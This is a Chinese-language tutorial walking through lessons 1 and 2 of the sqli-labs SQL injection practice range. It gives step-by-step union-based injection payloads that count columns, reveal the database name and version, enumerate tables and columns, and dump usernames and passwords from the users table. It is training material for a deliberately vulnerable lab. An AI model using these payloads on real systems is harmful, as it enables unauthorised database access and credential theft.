0.介绍

很多时候新手在学习sql注入的时候,往往找不到合适的靶场进行练习操作。而sqli-labs就是一个适合新手去练习注入的一个专业的SQL注入练习平台,
是一个印度程序员写的程序,用来学习sql注入的一个游戏教程。其中包含了各种各样的注入姿势,并适用于GET和POST等场景,包含了以下注入:

  1. 基于错误的注入(Union Select)
    字符串
    整数
  2. 报错注入
  3. 盲注(基于Bool数据类型注入、基于时间注入)
  4. mysql 读写文件
  5. 更新查询注入(update )
  6. 插入查询注入(insert )
  7. Header头部注入(基于Referer注入、基于UserAgent注入、基于cookie注入)
  8. 二次注入
  9. 绕过WAF
    绕过黑名单\过滤器\剥离\注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT
  10. 绕过addslashes()函数
  11. 绕过mysql_real_escape_string()函数(在特殊条件下)
  12. 堆叠注入(堆查询注入)
    等…

lesson 0

准备工作:

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,
该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。
table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。
columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。

lesson 1

1.1判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1
图1

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
图2

图3

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

图4

图5

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

1.2联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

1
?id=1'order by 3 --+

图6

图7

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

1
?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

1
?id=-1'union select 1,database(),version()--+

图8

第四步: 爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
图9

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

图10

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

图11

lesson2

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,
图12

图13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。


?id=1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(username ,id , password) from users